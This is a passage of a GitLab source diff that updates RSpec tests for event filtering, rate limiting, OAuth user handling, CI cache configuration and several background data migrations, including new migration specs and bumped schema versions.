+ :created,
+ project: public_project,
+ target: create(:work_item, :task, project: public_project),
+ target_type: 'WorkItem'
+ )
+ end
+
describe '#filter' do
it 'returns "all" if given filter is nil' do
expect(described_class.new(nil).filter).to eq(described_class::ALL)
@@ -18,20 +41,6 @@ RSpec.describe EventFilter do
end
describe '#apply_filter' do
- let_it_be(:public_project) { create(:project, :public) }
- let_it_be(:push_event) { create(:push_event, project: public_project) }
- let_it_be(:merged_event) { create(:event, :merged, project: public_project, target: public_project) }
- let_it_be(:created_event) { create(:event, :created, project: public_project, target: create(:issue, project: public_project)) }
- let_it_be(:updated_event) { create(:event, :updated, project: public_project, target: create(:issue, project: public_project)) }
- let_it_be(:closed_event) { create(:event, :closed, project: public_project, target: create(:issue, project: public_project)) }
- let_it_be(:reopened_event) { create(:event, :reopened, project: public_project, target: create(:issue, project: public_project)) }
- let_it_be(:comments_event) { create(:event, :commented, project: public_project, target: public_project) }
- let_it_be(:joined_event) { create(:event, :joined, project: public_project, target: public_project) }
- let_it_be(:left_event) { create(:event, :left, project: public_project, target: public_project) }
- let_it_be(:wiki_page_event) { create(:wiki_page_event) }
- let_it_be(:wiki_page_update_event) { create(:wiki_page_event, :updated) }
- let_it_be(:design_event) { create(:design_event) }
-
let(:filtered_events) { described_class.new(filter).apply_filter(Event.all) }
context 'with the "push" filter' do
@@ -53,8 +62,14 @@ RSpec.describe EventFilter do
context 'with the "issue" filter' do
let(:filter) { described_class::ISSUE }
- it 'filters issue events only' do
- expect(filtered_events).to contain_exactly(created_event, updated_event, closed_event, reopened_event)
+ it 'filters issue and work item events only' do
+ expect(filtered_events).to contain_exactly(
+ created_event,
+ updated_event,
+ closed_event,
+ reopened_event,
+ work_item_event
+ )
end
end
@@ -115,6 +130,31 @@ RSpec.describe EventFilter do
end
end
+ describe '#in_operator_query_builder_params' do
+ let(:filtered_events) { described_class.new(filter).in_operator_query_builder_params(array_data) }
+ let(:array_data) do
+ {
+ scope_ids: [public_project.id],
+ scope_model: Project,
+ mapping_column: 'project_id'
+ }
+ end
+
+ context 'with the "issue" filter' do
+ let(:filter) { described_class::ISSUE }
+
+ it 'also includes work item events' do
+ expect(filtered_events[:scope]).to contain_exactly(
+ created_event,
+ updated_event,
+ closed_event,
+ reopened_event,
+ work_item_event
+ )
+ end
+ end
+ end
+
describe '#active?' do
let(:event_filter) { described_class.new(described_class::TEAM) }
diff --git a/spec/lib/gitlab/application_rate_limiter_spec.rb b/spec/lib/gitlab/application_rate_limiter_spec.rb
index 41e79f811fa..c938393adce 100644
--- a/spec/lib/gitlab/application_rate_limiter_spec.rb
+++ b/spec/lib/gitlab/application_rate_limiter_spec.rb
@@ -214,6 +214,52 @@ RSpec.describe Gitlab::ApplicationRateLimiter, :clean_gitlab_redis_rate_limiting
end
end
+ describe '.throttled_request?', :freeze_time do
+ let(:request) { instance_double('Rack::Request') }
+
+ context 'when request is not over the limit' do
+ it 'returns false and does not log the request' do
+ expect(subject).not_to receive(:log_request)
+
+ expect(subject.throttled_request?(request, user, :test_action, scope: [user])).to eq(false)
+ end
+ end
+
+ context 'when request is over the limit' do
+ before do
+ subject.throttled?(:test_action, scope: [user])
+ end
+
+ it 'returns true and logs the request' do
+ expect(subject).to receive(:log_request).with(request, :test_action_request_limit, user)
+
+ expect(subject.throttled_request?(request, user, :test_action, scope: [user])).to eq(true)
+ end
+
+ context 'when the bypass header is set' do
+ before do
+ allow(Gitlab::Throttle).to receive(:bypass_header).and_return('SOME_HEADER')
+ end
+
+ it 'skips rate limit if set to "1"' do
+ allow(request).to receive(:get_header).with(Gitlab::Throttle.bypass_header).and_return('1')
+
+ expect(subject).not_to receive(:log_request)
+
+ expect(subject.throttled_request?(request, user, :test_action, scope: [user])).to eq(false)
+ end
+
+ it 'does not skip rate limit if set to something else than "1"' do
+ allow(request).to receive(:get_header).with(Gitlab::Throttle.bypass_header).and_return('0')
+
+ expect(subject).to receive(:log_request).with(request, :test_action_request_limit, user)
+
+ expect(subject.throttled_request?(request, user, :test_action, scope: [user])).to eq(true)
+ end
+ end
+ end
+ end
+
describe '.peek' do
it 'peeks at the current state without changing its value' do
freeze_time do
diff --git a/spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb b/spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb
index ca6b91ac6f1..a303634d463 100644
--- a/spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb
+++ b/spec/lib/gitlab/auth/atlassian/identity_linker_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe Gitlab::Auth::Atlassian::IdentityLinker do
let(:credentials) do
{
token: SecureRandom.alphanumeric(1254),
- refresh_token: SecureRandom.alphanumeric(45),
+ refresh_token: SecureRandom.alphanumeric(1500),
expires_at: 2.weeks.from_now.to_i,
expires: true
}
diff --git a/spec/lib/gitlab/auth/o_auth/user_spec.rb b/spec/lib/gitlab/auth/o_auth/user_spec.rb
index bb81621ec92..beeb3ca7011 100644
--- a/spec/lib/gitlab/auth/o_auth/user_spec.rb
+++ b/spec/lib/gitlab/auth/o_auth/user_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Auth::OAuth::User do
+RSpec.describe Gitlab::Auth::OAuth::User, feature_category: :authentication_and_authorization do
include LdapHelpers
let(:oauth_user) { described_class.new(auth_hash) }
@@ -329,7 +329,7 @@ RSpec.describe Gitlab::Auth::OAuth::User do
context "and no LDAP provider defined" do
before do
- stub_ldap_config(providers: [])
+ allow(Gitlab::Auth::Ldap::Config).to receive(:providers).at_least(:once).and_return([])
end
include_examples "to verify compliance with allow_single_sign_on"
@@ -509,6 +509,8 @@ RSpec.describe Gitlab::Auth::OAuth::User do
context "and no corresponding LDAP person" do
before do
allow(Gitlab::Auth::Ldap::Person).to receive(:find_by_uid).and_return(nil)
+ allow(Gitlab::Auth::Ldap::Person).to receive(:find_by_email).and_return(nil)
+ allow(Gitlab::Auth::Ldap::Person).to receive(:find_by_dn).and_return(nil)
end
include_examples "to verify compliance with allow_single_sign_on"
@@ -935,7 +937,7 @@ RSpec.describe Gitlab::Auth::OAuth::User do
end
it "does not update the user location" do
- expect(gl_user.location).to be_nil
+ expect(gl_user.location).to be_blank
expect(gl_user.user_synced_attributes_metadata.location_synced).to be(false)
end
end
diff --git a/spec/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed_spec.rb b/spec/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed_spec.rb
deleted file mode 100644
index b50a55a9e41..00000000000
--- a/spec/lib/gitlab/background_migration/add_primary_email_to_emails_if_user_confirmed_spec.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::BackgroundMigration::AddPrimaryEmailToEmailsIfUserConfirmed do
- let(:users) { table(:users) }
- let(:emails) { table(:emails) }
-
- let!(:unconfirmed_user) { users.create!(name: 'unconfirmed', email: 'unconfirmed@example.com', confirmed_at: nil, projects_limit: 100) }
- let!(:confirmed_user_1) { users.create!(name: 'confirmed-1', email: 'confirmed-1@example.com', confirmed_at: 1.day.ago, projects_limit: 100) }
- let!(:confirmed_user_2) { users.create!(name: 'confirmed-2', email: 'confirmed-2@example.com', confirmed_at: 1.day.ago, projects_limit: 100) }
- let!(:email) { emails.create!(user_id: confirmed_user_1.id, email: 'confirmed-1@example.com', confirmed_at: 1.day.ago) }
-
- let(:perform) { described_class.new.perform(users.first.id, users.last.id) }
-
- it 'adds the primary email of confirmed users to Emails, unless already added', :aggregate_failures do
- expect(emails.where(email: [unconfirmed_user.email, confirmed_user_2.email])).to be_empty
-
- expect { perform }.not_to raise_error
-
- expect(emails.where(email: unconfirmed_user.email).count).to eq(0)
- expect(emails.where(email: confirmed_user_1.email, user_id: confirmed_user_1.id).count).to eq(1)
- expect(emails.where(email: confirmed_user_2.email, user_id: confirmed_user_2.id).count).to eq(1)
-
- email_2 = emails.find_by(email: confirmed_user_2.email, user_id: confirmed_user_2.id)
- expect(email_2.confirmed_at).to eq(confirmed_user_2.reload.confirmed_at)
- end
-
- it 'sets timestamps on the created Emails' do
- perform
-
- email_2 = emails.find_by(email: confirmed_user_2.email, user_id: confirmed_user_2.id)
-
- expect(email_2.created_at).not_to be_nil
- expect(email_2.updated_at).not_to be_nil
- end
-
- context 'when a range of IDs is specified' do
- let!(:confirmed_user_3) { users.create!(name: 'confirmed-3', email: 'confirmed-3@example.com', confirmed_at: 1.hour.ago, projects_limit: 100) }
- let!(:confirmed_user_4) { users.create!(name: 'confirmed-4', email: 'confirmed-4@example.com', confirmed_at: 1.hour.ago, projects_limit: 100) }
-
- it 'only acts on the specified range of IDs', :aggregate_failures do
- expect do
- described_class.new.perform(confirmed_user_2.id, confirmed_user_3.id)
- end.to change { Email.count }.by(2)
- expect(emails.where(email: confirmed_user_4.email).count).to eq(0)
- end
- end
-end
diff --git a/spec/lib/gitlab/background_migration/backfill_admin_mode_scope_for_personal_access_tokens_spec.rb b/spec/lib/gitlab/background_migration/backfill_admin_mode_scope_for_personal_access_tokens_spec.rb
new file mode 100644
index 00000000000..7075d4694ae
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/backfill_admin_mode_scope_for_personal_access_tokens_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::BackfillAdminModeScopeForPersonalAccessTokens,
+ :migration, schema: 20221228103133, feature_category: :authentication_and_authorization do
+ let(:users) { table(:users) }
+ let(:personal_access_tokens) { table(:personal_access_tokens) }
+
+ let(:admin) { users.create!(name: 'admin', email: 'admin@example.com', projects_limit: 1, admin: true) }
+ let(:user) { users.create!(name: 'user', email: 'user@example.com', projects_limit: 1) }
+
+ let!(:pat_admin_1) { personal_access_tokens.create!(name: 'admin 1', user_id: admin.id, scopes: "---\n- api\n") }
+ let!(:pat_user) { personal_access_tokens.create!(name: 'user 1', user_id: user.id, scopes: "---\n- api\n") }
+ let!(:pat_revoked) do
+ personal_access_tokens.create!(name: 'admin 2', user_id: admin.id, scopes: "---\n- api\n", revoked: true)
+ end
+
+ let!(:pat_expired) do
+ personal_access_tokens.create!(name: 'admin 3', user_id: admin.id, scopes: "---\n- api\n", expires_at: 1.day.ago)
+ end
+
+ let!(:pat_admin_mode) do
+ personal_access_tokens.create!(name: 'admin 4', user_id: admin.id, scopes: "---\n- admin_mode\n")
+ end
+
+ let!(:pat_admin_2) { personal_access_tokens.create!(name: 'admin 5', user_id: admin.id, scopes: "---\n- read_api\n") }
+ let!(:pat_not_in_range) { personal_access_tokens.create!(name: 'admin 6', user_id: admin.id, scopes: "---\n- api\n") }
+
+ subject do
+ described_class.new(
+ start_id: pat_admin_1.id,
+ end_id: pat_admin_2.id,
+ batch_table: :personal_access_tokens,
+ batch_column: :id,
+ sub_batch_size: 1,
+ pause_ms: 0,
+ connection: ApplicationRecord.connection
+ )
+ end
+
+ it "adds `admin_mode` scope to active personal access tokens of administrators" do
+ subject.perform
+
+ expect(pat_admin_1.reload.scopes).to eq("---\n- api\n- admin_mode\n")
+ expect(pat_user.reload.scopes).to eq("---\n- api\n")
+ expect(pat_revoked.reload.scopes).to eq("---\n- api\n")
+ expect(pat_expired.reload.scopes).to eq("---\n- api\n")
+ expect(pat_admin_mode.reload.scopes).to eq("---\n- admin_mode\n")
+ expect(pat_admin_2.reload.scopes).to eq("---\n- read_api\n- admin_mode\n")
+ expect(pat_not_in_range.reload.scopes).to eq("---\n- api\n")
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb b/spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb
index 8db45ac0f57..96adea03d43 100644
--- a/spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_jira_tracker_deployment_type2_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::BackfillJiraTrackerDeploymentType2, :migration, schema: 20210301200959 do
+RSpec.describe Gitlab::BackgroundMigration::BackfillJiraTrackerDeploymentType2, :migration, schema: 20210602155110 do
let!(:jira_integration_temp) { described_class::JiraServiceTemp }
let!(:jira_tracker_data_temp) { described_class::JiraTrackerDataTemp }
let!(:atlassian_host) { 'https://api.atlassian.net' }
diff --git a/spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_children_spec.rb b/spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_children_spec.rb
index 35928deff82..15956d2ea80 100644
--- a/spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_children_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_children_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::BackfillNamespaceTraversalIdsChildren, :migration, schema: 20210506065000 do
+RSpec.describe Gitlab::BackgroundMigration::BackfillNamespaceTraversalIdsChildren, :migration, schema: 20210602155110 do
let(:namespaces_table) { table(:namespaces) }
let!(:user_namespace) { namespaces_table.create!(id: 1, name: 'user', path: 'user', type: nil) }
diff --git a/spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_roots_spec.rb b/spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_roots_spec.rb
index 96e43275972..019c6d54068 100644
--- a/spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_roots_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_namespace_traversal_ids_roots_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::BackfillNamespaceTraversalIdsRoots, :migration, schema: 20210506065000 do
+RSpec.describe Gitlab::BackgroundMigration::BackfillNamespaceTraversalIdsRoots, :migration, schema: 20210602155110 do
let(:namespaces_table) { table(:namespaces) }
let!(:user_namespace) { namespaces_table.create!(id: 1, name: 'user', path: 'user', type: nil) }
diff --git a/spec/lib/gitlab/background_migration/backfill_releases_author_id_spec.rb b/spec/lib/gitlab/background_migration/backfill_releases_author_id_spec.rb
new file mode 100644
index 00000000000..d8ad10849f2
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/backfill_releases_author_id_spec.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::BackgroundMigration::BackfillReleasesAuthorId,
+ :migration, schema: 20221215151822, feature_category: :release_orchestration do
+ let(:releases_table) { table(:releases) }
+ let(:user_table) { table(:users) }
+ let(:date_time) { DateTime.now }
+
+ let!(:test_user) { user_table.create!(name: 'test', email: 'test@example.com', username: 'test', projects_limit: 10) }
+ let!(:ghost_user) do
+ user_table.create!(name: 'ghost', email: 'ghost@example.com',
+ username: 'ghost', user_type: User::USER_TYPES['ghost'], projects_limit: 100000)
+ end
+
+ let(:migration) do
+ described_class.new(start_id: 1, end_id: 100,
+ batch_table: :releases, batch_column: :id,
+ sub_batch_size: 10, pause_ms: 0,
+ job_arguments: [ghost_user.id],
+ connection: ApplicationRecord.connection)
+ end
+
+ subject(:perform_migration) { migration.perform }
+
+ before do
+ releases_table.create!(tag: 'tag1', name: 'tag1',
+ released_at: (date_time - 1.minute), author_id: test_user.id)
+ releases_table.create!(tag: 'tag2', name: 'tag2',
+ released_at: (date_time - 2.minutes), author_id: test_user.id)
+ releases_table.new(tag: 'tag3', name: 'tag3',
+ released_at: (date_time - 3.minutes), author_id: nil).save!(validate: false)
+ releases_table.new(tag: 'tag4', name: 'tag4',
+ released_at: (date_time - 4.minutes), author_id: nil).save!(validate: false)
+ releases_table.new(tag: 'tag5', name: 'tag5',
+ released_at: (date_time - 5.minutes), author_id: nil).save!(validate: false)
+ releases_table.create!(tag: 'tag6', name: 'tag6',
+ released_at: (date_time - 6.minutes), author_id: test_user.id)
+ releases_table.new(tag: 'tag7', name: 'tag7',
+ released_at: (date_time - 7.minutes), author_id: nil).save!(validate: false)
+ end
+
+ it 'backfills `author_id` for the selected records', :aggregate_failures do
+ expect(releases_table.where(author_id: ghost_user.id).count).to eq 0
+ expect(releases_table.where(author_id: nil).count).to eq 4
+
+ perform_migration
+
+ expect(releases_table.where(author_id: ghost_user.id).count).to eq 4
+ expect(releases_table.where(author_id: ghost_user.id).pluck(:name)).to include('tag3', 'tag4', 'tag5', 'tag7')
+ expect(releases_table.where(author_id: test_user.id).count).to eq 3
+ expect(releases_table.where(author_id: test_user.id).pluck(:name)).to include('tag1', 'tag2', 'tag6')
+ end
+
+ it 'tracks timings of queries' do
+ expect(migration.batch_metrics.timings).to be_empty
+
+ expect { perform_migration }.to change { migration.batch_metrics.timings }
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb b/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
index 1c2e0e991d9..8d5aa6236a7 100644
--- a/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
+++ b/spec/lib/gitlab/background_migration/backfill_snippet_repositories_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migration, schema: 2021_03_13_045845 do
+RSpec.describe Gitlab::BackgroundMigration::BackfillSnippetRepositories, :migration, schema: 20210602155110 do
let(:gitlab_shell) { Gitlab::Shell.new }
let(:users) { table(:users) }
let(:snippets) { table(:snippets) }
diff --git a/spec/lib/gitlab/background_migration/batched_migration_job_spec.rb b/spec/lib/gitlab/background_migration/batched_migration_job_spec.rb
index 7280ca0b58e..faaaccfdfaf 100644
--- a/spec/lib/gitlab/background_migration/batched_migration_job_spec.rb
+++ b/spec/lib/gitlab/background_migration/batched_migration_job_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Gitlab::BackgroundMigration::BatchedMigrationJob do
expect(generic_instance.send(:batch_table)).to eq('projects')
expect(generic_instance.send(:batch_column)).to eq('id')
- expect(generic_instance.instance_variable_get('@job_arguments')).to eq(%w(x y))
+ expect(generic_instance.instance_variable_get(:@job_arguments)).to eq(%w(x y))
expect(generic_instance.send(:connection)).to eq(connection)
%i(start_id end_id sub_batch_size pause_ms).each do |attr|
diff --git a/spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb b/spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb
index dd202acc372..0d9d9eb929c 100644
--- a/spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb
+++ b/spec/lib/gitlab/background_migration/cleanup_orphaned_lfs_objects_projects_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::CleanupOrphanedLfsObjectsProjects, schema: 20210514063252 do
+RSpec.describe Gitlab::BackgroundMigration::CleanupOrphanedLfsObjectsProjects, schema: 20210602155110 do
let(:lfs_objects_projects) { table(:lfs_objects_projects) }
let(:lfs_objects) { table(:lfs_objects) }
let(:projects) { table(:projects) }
diff --git a/spec/lib/gitlab/background_migration/drop_invalid_vulnerabilities_spec.rb b/spec/lib/gitlab/background_migration/drop_invalid_vulnerabilities_spec.rb
index ba04f2d20a7..66e16b16270 100644
--- a/spec/lib/gitlab/background_migration/drop_invalid_vulnerabilities_spec.rb
+++ b/spec/lib/gitlab/background_migration/drop_invalid_vulnerabilities_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::DropInvalidVulnerabilities, schema: 20210301200959 do
+RSpec.describe Gitlab::BackgroundMigration::DropInvalidVulnerabilities, schema: 20210602155110 do
let!(:background_migration_jobs) { table(:background_migration_jobs) }
let!(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
let!(:users) { table(:users) }
diff --git a/spec/lib/gitlab/background_migration/migrate_project_taggings_context_from_tags_to_topics_spec.rb b/spec/lib/gitlab/background_migration/migrate_project_taggings_context_from_tags_to_topics_spec.rb
index 5495d786a48..4d7c836cff4 100644
--- a/spec/lib/gitlab/background_migration/migrate_project_taggings_context_from_tags_to_topics_spec.rb
+++ b/spec/lib/gitlab/background_migration/migrate_project_taggings_context_from_tags_to_topics_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Gitlab::BackgroundMigration::MigrateProjectTaggingsContextFromTagsToTopics,
- :suppress_gitlab_schemas_validate_connection, schema: 20210511095658 do
+ :suppress_gitlab_schemas_validate_connection, schema: 20210602155110 do
it 'correctly migrates project taggings context from tags to topics' do
taggings = table(:taggings)
diff --git a/spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb b/spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb
index fc957a7c425..fe45eaac3b7 100644
--- a/spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb
+++ b/spec/lib/gitlab/background_migration/migrate_u2f_webauthn_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
require 'webauthn/u2f_migrator'
-RSpec.describe Gitlab::BackgroundMigration::MigrateU2fWebauthn, :migration, schema: 20210301200959 do
+RSpec.describe Gitlab::BackgroundMigration::MigrateU2fWebauthn, :migration, schema: 20210602155110 do
let(:users) { table(:users) }
let(:user) { users.create!(email: 'email@email.com', name: 'foo', username: 'foo', projects_limit: 0) }
diff --git a/spec/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature_spec.rb b/spec/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature_spec.rb
index 79b5567f5b3..cafddb6aeaf 100644
--- a/spec/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature_spec.rb
+++ b/spec/lib/gitlab/background_migration/move_container_registry_enabled_to_project_feature_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::MoveContainerRegistryEnabledToProjectFeature, :migration, schema: 20210301200959 do
+RSpec.describe Gitlab::BackgroundMigration::MoveContainerRegistryEnabledToProjectFeature, :migration, schema: 20210602155110 do
let(:enabled) { 20 }
let(:disabled) { 0 }
diff --git a/spec/lib/gitlab/background_migration/sanitize_confidential_todos_spec.rb b/spec/lib/gitlab/background_migration/sanitize_confidential_todos_spec.rb
index c58f2060001..a19a3760958 100644
--- a/spec/lib/gitlab/background_migration/sanitize_confidential_todos_spec.rb
+++ b/spec/lib/gitlab/background_migration/sanitize_confidential_todos_spec.rb
@@ -2,7 +2,9 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::SanitizeConfidentialTodos, :migration, schema: 20221110045406 do
+RSpec.describe Gitlab::BackgroundMigration::SanitizeConfidentialTodos, :migration, feature_category: :team_planning do
+ let!(:issue_type_id) { table(:work_item_types).find_by(base_type: 0).id }
+
let(:todos) { table(:todos) }
let(:notes) { table(:notes) }
let(:namespaces) { table(:namespaces) }
@@ -29,12 +31,16 @@ RSpec.describe Gitlab::BackgroundMigration::SanitizeConfidentialTodos, :migratio
let(:issue1) do
issues.create!(
- project_id: project1.id, namespace_id: project_namespace1.id, issue_type: 1, title: 'issue1', author_id: user.id
+ project_id: project1.id, namespace_id: project_namespace1.id, issue_type: 1, title: 'issue1', author_id: user.id,
+ work_item_type_id: issue_type_id
)
end
let(:issue2) do
- issues.create!(project_id: project2.id, namespace_id: project_namespace2.id, issue_type: 1, title: 'issue2')
+ issues.create!(
+ project_id: project2.id, namespace_id: project_namespace2.id, issue_type: 1, title: 'issue2',
+ work_item_type_id: issue_type_id
+ )
end
let(:public_note) { notes.create!(note: 'text', project_id: project1.id) }
diff --git a/spec/lib/gitlab/background_migration/truncate_overlong_vulnerability_html_titles_spec.rb b/spec/lib/gitlab/background_migration/truncate_overlong_vulnerability_html_titles_spec.rb
new file mode 100644
index 00000000000..fcd88d523bc
--- /dev/null
+++ b/spec/lib/gitlab/background_migration/truncate_overlong_vulnerability_html_titles_spec.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+# rubocop:disable Layout/LineLength
+RSpec.describe Gitlab::BackgroundMigration::TruncateOverlongVulnerabilityHtmlTitles, schema: 20221110100602, feature_category: :vulnerability_management do
+ # rubocop:enable Layout/LineLength
+
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:vulnerabilities) { table(:vulnerabilities) }
+ let(:users) { table(:users) }
+ let(:namespace) { namespaces.create!(name: 'name', path: 'path') }
+
+ let(:project) do
+ projects
+ .create!(name: "project", path: "project", namespace_id: namespace.id, project_namespace_id: namespace.id)
+ end
+
+ let!(:user) { create_user! }
+
+ let!(:vulnerability_1) { create_vulnerability!(title_html: 'a' * 900, project_id: project.id, author_id: user.id) }
+ let!(:vulnerability_2) { create_vulnerability!(title_html: 'a' * 801, project_id: project.id, author_id: user.id) }
+ let!(:vulnerability_3) { create_vulnerability!(title_html: 'a' * 800, project_id: project.id, author_id: user.id) }
+ let!(:vulnerability_4) { create_vulnerability!(title_html: 'a' * 544, project_id: project.id, author_id: user.id) }
+
+ subject do
+ described_class.new(
+ start_id: vulnerabilities.minimum(:id),
+ end_id: vulnerabilities.maximum(:id),
+ batch_table: :vulnerabilities,
+ batch_column: :id,
+ sub_batch_size: 200,
+ pause_ms: 2.minutes,
+ connection: ApplicationRecord.connection
+ )
+ end
+
+ describe '#perform' do
+ it 'truncates the vulnerability html title when longer than 800 characters' do
+ subject.perform
+
+ expect(vulnerability_1.reload.title_html.length).to eq(800)
+ expect(vulnerability_2.reload.title_html.length).to eq(800)
+ expect(vulnerability_3.reload.title_html.length).to eq(800)
+ expect(vulnerability_4.reload.title_html.length).to eq(544)
+ end
+ end
+
+ private
+
+ # rubocop:disable Metrics/ParameterLists
+ def create_vulnerability!(
+ project_id:, author_id:, title: 'test', title_html: 'test', severity: 7, confidence: 7, report_type: 0, state: 1,
+ dismissed_at: nil
+ )
+ vulnerabilities.create!(
+ project_id: project_id,
+ author_id: author_id,
+ title: title,
+ title_html: title_html,
+ severity: severity,
+ confidence: confidence,
+ report_type: report_type,
+ state: state,
+ dismissed_at: dismissed_at
+ )
+ end
+ # rubocop:enable Metrics/ParameterLists
+
+ def create_user!(name: "Example User", email: "user@example.com", user_type: nil)
+ users.create!(
+ name: name,
+ email: email,
+ username: name,
+ projects_limit: 10
+ )
+ end
+end
diff --git a/spec/lib/gitlab/background_migration/update_timelogs_project_id_spec.rb b/spec/lib/gitlab/background_migration/update_timelogs_project_id_spec.rb
index fc4d776b8be..7261758e010 100644
--- a/spec/lib/gitlab/background_migration/update_timelogs_project_id_spec.rb
+++ b/spec/lib/gitlab/background_migration/update_timelogs_project_id_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::UpdateTimelogsProjectId, schema: 20210427212034 do
+RSpec.describe Gitlab::BackgroundMigration::UpdateTimelogsProjectId, schema: 20210602155110 do
let!(:namespace) { table(:namespaces).create!(name: 'namespace', path: 'namespace') }
let!(:project1) { table(:projects).create!(namespace_id: namespace.id) }
let!(:project2) { table(:projects).create!(namespace_id: namespace.id) }
diff --git a/spec/lib/gitlab/background_migration/update_users_where_two_factor_auth_required_from_group_spec.rb b/spec/lib/gitlab/background_migration/update_users_where_two_factor_auth_required_from_group_spec.rb
index e14328b6150..4599491b580 100644
--- a/spec/lib/gitlab/background_migration/update_users_where_two_factor_auth_required_from_group_spec.rb
+++ b/spec/lib/gitlab/background_migration/update_users_where_two_factor_auth_required_from_group_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::BackgroundMigration::UpdateUsersWhereTwoFactorAuthRequiredFromGroup, :migration, schema: 20210519154058 do
+RSpec.describe Gitlab::BackgroundMigration::UpdateUsersWhereTwoFactorAuthRequiredFromGroup, :migration, schema: 20210602155110 do
include MigrationHelpers::NamespacesHelpers
let(:group_with_2fa_parent) { create_namespace('parent', Gitlab::VisibilityLevel::PRIVATE, require_two_factor_authentication: true) }
diff --git a/spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb b/spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb
index c78140a70b3..2dea0aef4cf 100644
--- a/spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb
+++ b/spec/lib/gitlab/cache/ci/project_pipeline_status_spec.rb
@@ -24,7 +24,7 @@ RSpec.describe Gitlab::Cache::Ci::ProjectPipelineStatus, :clean_gitlab_redis_cac
described_class.load_in_batch_for_projects([project])
# Don't call the accessor that would lazy load the variable
- project_pipeline_status = project.instance_variable_get('@pipeline_status')
+ project_pipeline_status = project.instance_variable_get(:@pipeline_status)
expect(project_pipeline_status).to be_a(described_class)
expect(project_pipeline_status).to be_loaded
diff --git a/spec/lib/gitlab/ci/config/entry/cache_spec.rb b/spec/lib/gitlab/ci/config/entry/cache_spec.rb
index 414cbb169b9..67252eed938 100644
--- a/spec/lib/gitlab/ci/config/entry/cache_spec.rb
+++ b/spec/lib/gitlab/ci/config/entry/cache_spec.rb
@@ -16,12 +16,14 @@ RSpec.describe Gitlab::Ci::Config::Entry::Cache do
let(:policy) { nil }
let(:key) { 'some key' }
let(:when_config) { nil }
+ let(:unprotect) { false }
let(:config) do
{
key: key,
untracked: true,
- paths: ['some/path/']
+ paths: ['some/path/'],
+ unprotect: unprotect
}.tap do |config|
config[:policy] = policy if policy
config[:when] = when_config if when_config
@@ -31,7 +33,7 @@ RSpec.describe Gitlab::Ci::Config::Entry::Cache do
describe '#value' do
shared_examples 'hash key value' do
it 'returns hash value' do
- expect(entry.value).to eq(key: key, untracked: true, paths: ['some/path/'], policy: 'pull-push', when: 'on_success')
+ expect(entry.value).to eq(key: key, untracked: true, paths: ['some/path/'], policy: 'pull-push', when: 'on_success', unprotect: false)
end
end
